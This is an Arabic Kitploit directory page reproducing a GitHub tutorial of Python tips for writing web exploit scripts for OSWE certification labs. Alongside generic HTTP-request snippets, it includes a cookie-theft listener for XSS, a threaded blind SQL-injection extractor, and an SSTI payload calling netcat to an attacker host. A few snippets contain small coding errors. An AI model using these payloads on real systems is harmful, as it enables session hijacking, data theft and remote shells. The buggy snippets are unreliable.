Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
exploit-writing-for-oswe — نصائح حول كيفية كتابة سكربتات الاستغلال (بشكل أسرع!) | Kitploit
أدوات/GitHubGitHub/rizemon/exploit-writing-for-oswe
البرمجة النصية والأتمتةاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليمموارد منسقةتطوير الحمولات
GitHubrizemon/exploit-writing-for-oswe

exploit-writing-for-oswe

نصائح حول كيفية كتابة سكربتات الاستغلال (بشكل أسرع!)

عرض المستودع
5911127منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

كتابة الاستغلالات لشهادة OSWE

خلفية

ما هو

يحتوي هذا المستودع على قائمة من المقتطفات والنصائح المفيدة المتعلقة بكتابة سكربتات الاستغلال في مختبرات وامتحان شهادة OSWE.

بعض الأمثلة هنا قد تخالف بعض ممارسات البرمجة السليمة، لكن هدفنا النهائي هو كتابة سكربت الاستغلال بسرعة وبشكل صحيح.

يُعد قسم مقتطفات برمجية مكانًا رائعًا للبدء إذا لم تكن لديك خبرة في استخدام مكتبة requests أو كنت جديدًا على Python. وإلا، فلا تتردد في الانتقال إلى قسم كود قابل لإعادة الاستخدام أو قسم نصائح.

لماذا

  • على الرغم من وجود العديد من الشروحات والمراجعات والملاحظات حول الشهادة، إلا أن القليل من الموارد يركز تحديدًا على عملية كتابة الاستغلالات.
  • قد تكون كتابة سكربت الاستغلال أمرًا شاقًا، خاصة لمن هم جديدون على Python أو لديهم خبرة قليلة في التعامل مع تطبيقات الويب عبر الكود.
  • الوقت المستغرق في تحديد الثغرات وتوثيق تقرير الامتحان قد يتقلب بشكل كبير، لكن الوقت المستغرق في تطوير سكربت الاستغلال يمكن تقليله والحفاظ عليه ثابتًا إذا تم إتقانه جيدًا.

جدول المحتويات

  • كتابة الاستغلالات لشهادة OSWE
    • خلفية
      • ما هو
      • لماذا
    • جدول المحتويات
    • مقتطفات برمجية
      • قالب البداية
      • استيرادات مفيدة
      • استخدام مكتبة requests
        • إرسال أبسط طلب HTTP
        • تحديد طرق HTTP مختلفة
        • قراءة استجابة HTTP
        • إرسال البيانات كسلسلة استعلام في الرابط (باستخدام وسيط params)
        • إرسال البيانات كسلسلة استعلام في جسم الطلب (باستخدام وسيط data)
        • إرسال البيانات بصيغة JSON في جسم الطلب (باستخدام وسيط json)
        • إرسال ملف في جسم الطلب (باستخدام وسيط files)
        • تعيين ترويسات HTTP (باستخدام وسيط headers)
        • تعيين ملفات تعريف الارتباط HTTP (باستخدام وسيط cookies)
        • تعطيل تتبّع إعادة التوجيه 3XX (باستخدام وسيط allow_redirects)
        • التفاعل مع خادم HTTPS غير مُتحقَّق منه (باستخدام وسيط verify)
        • إرسال طلب عبر بروكسي HTTP (باستخدام وسيط proxies)
        • إنشاء Session
        • تعيين ملفات تعريف ارتباط دائمة
        • تعيين ترويسات دائمة
      • استكشاف الأخطاء وإصلاحها
        • استخدام Wireshark والتصفية لطلبات HTTP
        • طباعة محتويات طلب HTTP
        • تمرير طلب HTTP عبر Burp Suite وفحصه
      • كود قابل لإعادة الاستخدام
        • تقديم ملفات عبر HTTP
        • سرقة ملفات تعريف الارتباط HTTP
        • تسريع حقن SQL
    • نصائح
      • إجراء فحص سلامة بعد كل طلب HTTP باستخدام assert
      • طباعة رسائل ذات معنى بعد كل خطوة
      • فصل كل خطوة استغلال في دالة خاصة بها
      • إنشاء كائن Session عام بحيث لا يحتاج إلى تمريره صراحةً لكل استدعاء دالة
      • إنشاء سلسلة BASE_URL عامة وإنشاء الروابط المطلوبة منها
      • لإجبار جميع طلبات HTTP على المرور عبر Burp Suite دون استخدام وسيط proxies، عيّن متغير البيئة HTTP_PROXY / HTTPS_PROXY عند التشغيل
      • تطبيق مخططات ترميز/فك ترميز لتمكين النقل الآمن للحمولات
      • استخدم """ لإنشاء سلسلة الحمولة إذا كانت تحتوي على كلٍّ من علامات الاقتباس المفردة (') والمزدوجة (")

مقتطفات برمجية

قالب البداية

root@kitploit:~
import requests

def main():
    print("Hello World!")

if __name__ == __main__:
    main()

استيرادات مفيدة

root@kitploit:~
# For sending HTTP requests
import requests

# For Base64 encoding/decoding
from base64 import b64encode, b64decode, urlsafe_b64encode, urlsafe_b64decode

# For getting current time or for calculating time delays
from time import time

# For regular expressions
import re

# For running shell commands
import subprocess

# For multithreading
from concurrent.futures import ThreadPoolExecutor

# For running a HTTP server in the background
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler

# For parsing HTTP cookies
from http import cookies

# For getting command-line arguments
import sys

استخدام مكتبة requests

إرسال أبسط طلب HTTP

root@kitploit:~
resp_obj = requests.get("https://github.com")

تحديد طرق HTTP مختلفة

root@kitploit:~
# GET method
requests.get("https://github.com")

# POST method
requests.post("https://github.com")

# PUT method
requests.put("https://github.com")

# PATCH method
requests.patch("https://github.com")

# DELETE method
requests.delete("https://github.com")

قراءة استجابة HTTP

root@kitploit:~
resp_obj = requests.get("https://github.com")

# HTTP status code (e.g 404, 500, 301)
resp_obj.status_code

# HTTP response headers (e.g Location, Content-Disposition)
resp_obj.headers["Location"]

# Body as bytes
resp_obj.content

# Body as a string
resp_obj.text

# Body as a dictionary (if body is a JSON)
resp_obj.json()

إرسال البيانات كسلسلة استعلام في الرابط (باستخدام وسيط params)

root@kitploit:~
params = {
    "foo": "bar"
}

requests.get("https://github.com", params=params)

إرسال البيانات كسلسلة استعلام في جسم الطلب (باستخدام وسيط data)

root@kitploit:~
data = {
    "foo": "bar"
}

requests.post("https://github.com", data=data)

إرسال البيانات بصيغة JSON في جسم الطلب (باستخدام وسيط json)

root@kitploit:~
data = {
    "foo": "bar"
}

requests.post("https://github.com", json=data)

إرسال ملف في جسم الطلب (باستخدام وسيط files)

root@kitploit:~
files = {
    #                (FILE_NAME, FILE_CONTENTS, FILE_MIMETYPE)
    "uploaded_file": ("phpinfo.php", b"<?php phpinfo() ?>", "application/x-httpd-php")
}

requests.post("https://github.com", files=files)

تعيين ترويسات HTTP (باستخدام وسيط headers)

root@kitploit:~
headers = {
    "X-Forwarded-For": "127.0.0.1"
}

requests.get("https://github.com", headers=headers)

تعيين ملفات تعريف الارتباط HTTP (باستخدام وسيط cookies)

root@kitploit:~
cookies = {
    "PHPSESSID": "fakesession"
}

requests.get("https://github.com", cookies=cookies)

تعطيل تتبّع إعادة التوجيه 3XX (باستخدام وسيط allow_redirects)

root@kitploit:~
requests.post("https://github.com/login", allow_redirects=False)

التفاعل مع خادم HTTPS غير مُتحقَّق منه (باستخدام وسيط verify)

root@kitploit:~
# Supresses InsecureRequestWarning messages
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

requests.get("https://github.com", verify=False)

إرسال طلب عبر بروكسي HTTP (باستخدام وسيط proxies)

root@kitploit:~
proxies = {
    "HTTP": "http://127.0.0.1:8080",
    "HTTPS": "http://127.0.0.1:8080"
}

requests.get("https://github.com", proxies=proxies)

إنشاء Session

root@kitploit:~
session = requests.Session()
session.get("https://github.com")

تعيين ملفات تعريف ارتباط دائمة

root@kitploit:~
session = requests.Session()
session.cookies.update({"PHPSESSID": "fakesession"})

تعيين ترويسات دائمة

root@kitploit:~
session = requests.Session()
session.headers["Authorization"] = "Basic 123"

استكشاف الأخطاء وإصلاحها

استخدام Wireshark والتصفية لطلبات HTTP

  1. افتح Wireshark
  2. اختر واجهة VPN (مثل tun0)
  3. أدخل http في شريط التصفية.

طباعة محتويات طلب HTTP

root@kitploit:~
data = {
    "foo": "bar"
}
resp_obj = requests.post("https://github.com", data=data)
prepared_request = resp_obj.request

print("Method:\n", prepared_request.method)
print()
print("URL:\n", prepared_request.url)
print()
print("Headers:\n", prepared_request.headers)
print()
print("Body:\n", prepared_request.body)

تمرير طلب HTTP عبر Burp Suite وفحصه

  1. افتح Burp Suite
  2. انتقل إلى تبويب "Proxy" واضبط "Intercept" على "On".

كود قابل لإعادة الاستخدام

تقديم ملفات عبر HTTP

root@kitploit:~
LHOST      = "10.0.0.1"
WEB_PORT   = 8000
JS_PAYLOAD = "<script>alert(1)</script>"

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):
        # Uncomment this method to suppress HTTP logs
        # def log_message(self, format, *args):
        #     return

        def do_GET(self):
            if self.path.endswith('/payload.js'):
                self.send_response(200)
                self.send_header("Content-Type", "application/javascript")
                self.send_header("Content-Length", str(len(JS_PAYLOAD)))
                self.end_headers()
                self.wfile.write(JS_PAYLOAD.encode())
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()

سرقة ملفات تعريف الارتباط HTTP

root@kitploit:~
LHOST      = "10.0.0.1"
WEB_PORT   = 8000

requests = requests.Session()
xss_event = threading.Event() # Signifies when victim sends their cookie

def send_xss_payload():
    pass

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):

        def do_GET(self):
            self.send_response(200)
            self.end_headers()

            # Load stolen cookie into session
            _, enc_cookie = self.path.split("/?cookie=", 1)
            plain_cookie = urlsafe_b64decode(enc_cookie).decode()
            session.cookies["PHPSESSID"] = cookies.SimpleCookie(plain_cookie)["PHPSESSID"]

            xss_event.set() # Trigger the event
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()
send_xss_payload()
xss_event.wait() # Wait for event to be triggered
print("[+] Stolen cookie:", session.cookies["PHPSESSID"])

تسريع حقن SQL

root@kitploit:~
MAX_WORKERS = 20
HASH_LENGTH = 32

def exfiltrate_hash():

    def boolean_sqli(arguments):
        idx, ascii_val = arguments
        # ...
        # Perform SQLi and store boolean outcome into truth
        # ...
        return ascii_val, truth

    result = ""

    # Go through each character position
    for idx in range(HASH_LENGTH):

        # Use MAX_WORKERS threads to test possible ASCII values in parallel
        with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
            # Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()
            responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])

        # Go through each response and determine which ASCII value is correct
        for ascii_val, truth in responses:
            if truth:
                result += chr(ascii_val)
                break
    
    return result

hash = exfiltrate_hash()

نصائح

إجراء فحص سلامة بعد كل طلب HTTP باستخدام assert

  • التحقق مما إذا تم رفع webshell بالفعل قبل محاولة تشغيله
  • التحقق مما إذا نجحت المصادقة قبل استغلال الميزات التي تتطلب مصادقة

مثال:

root@kitploit:~
# Suppose 302 is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data, allow_redirect=False)
assert resp_obj.status_code == 302, "Login not successful"

# Suppose admin page is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data)
assert "Admin Dashboard" in resp_obj.content, "Login not successful"

طباعة رسائل ذات معنى بعد كل خطوة

  • الإجراء الذي يتم بدؤه/إنهاؤه أو
  • ملفات تعريف الارتباط/الرموز/الملفات/القيم التي تم استرجاعها

مثال:

root@kitploit:~
[+] Parsed command-line arguments and got:
  * BASE_URL: http://example.com
  * LHOST:    127.0.0.1
  * LPORT:    1337
[+] Triggered password reset token generation
[=] Getting password reset token length...
[+] Got password reset token length: 10
[=] Retrieving password reset token...
[+] Got password reset token: FAKE_TOKEN

فصل كل خطوة استغلال في دالة خاصة بها

مثال:

root@kitploit:~
def register():
    pass

def login():
    pass

def rce():
    pass

إنشاء كائن Session عام بحيث لا يحتاج إلى تمريره صراحةً لكل استدعاء دالة

root@kitploit:~
session = requests.Session()

def login():
    session.post(...)

def rce():
    session.post(...)

إنشاء سلسلة BASE_URL عامة وإنشاء الروابط المطلوبة منها

root@kitploit:~
BASE_URL = ""
session = requests.Session()

def login():
    url = BASE_URL + "/login"
    session.post(url, ...)

def rce():
    url = BASE_URL + "/rce"
    session.post(url, ...)

def main():
    # Allow BASE_URL to be modified
    global BASE_URL
    BASE_URL = sys.argv[1]
...

لإجبار جميع طلبات HTTP على المرور عبر Burp Suite دون استخدام وسيط proxies، عيّن متغير البيئة HTTP_PROXY / HTTPS_PROXY عند التشغيل

root@kitploit:~
$ HTTP_PROXY=http://127.0.0.1:8080 python3 poc.py

تطبيق مخططات ترميز/فك ترميز لتمكين النقل الآمن للحمولات

  • Base64
  • الترميز السداسي عشري

استخدم """ لإنشاء سلسلة الحمولة إذا كانت تحتوي على كلٍّ من علامات الاقتباس المفردة (') والمزدوجة (")

مثال:

root@kitploit:~
payload = """This is a '. This is a "."""

تسريع حقن SQL باستخدام تعدد الخيوط

انظر تسريع حقن SQL.

تضمين ملف تعريف ارتباط مستخدم مُصادَق بشكل ثابت عند تطوير استغلالات للميزات التي تتطلب مصادقة

خاصةً إذا تطلب الأمر تنفيذ الكثير من الخطوات المستهلكة للوقت للحصول على جلسة مُصادَق عليها

مثال:

root@kitploit:~
session = requests.Session()

def main():
    # Skipping these for now...
    # register()
    # login()

    # TODO: Delete this line after you are
    # done developing and uncomment the above steps!
    session.cookies["JSESSIONID"] = "ADMIN_COOKIE"

    # Exploit authenticated features...
...

تجنب استخدام f-strings (f"") أو str.format إذا كانت الحمولة تحتوي على عدد كبير جدًا من الأقواس المتعرجة ({})

مضاعفة كل قوس متعرج فقط للهروب منها قد تكون مزعجة وعرضةً للأخطاء. بدلًا من ذلك، استخدم عناصر نائبة بسيطة وقم بإجراء .replace()!

مثال:

root@kitploit:~
# Too many curly braces
ssti_payload = f"{{{{ __import__('os').system('nc {LHOST} {LPORT}') }}}}"
# Much easier to read
ssti_payload = "{{ __import__('os').system('nc <LHOST> <LPORT>') }}"\
    .replace("<LHOST>", LHOST)\
    .replace("<LPORT>", LPORT)
تنزيل الأداة
  • تسريع حقن SQL باستخدام تعدد الخيوط
  • تضمين ملف تعريف ارتباط مستخدم مُصادَق بشكل ثابت عند تطوير استغلالات للميزات التي تتطلب مصادقة
  • تجنب استخدام f-strings (f"") أو str.format إذا كانت الحمولة تحتوي على عدد كبير جدًا من الأقواس المتعرجة ({})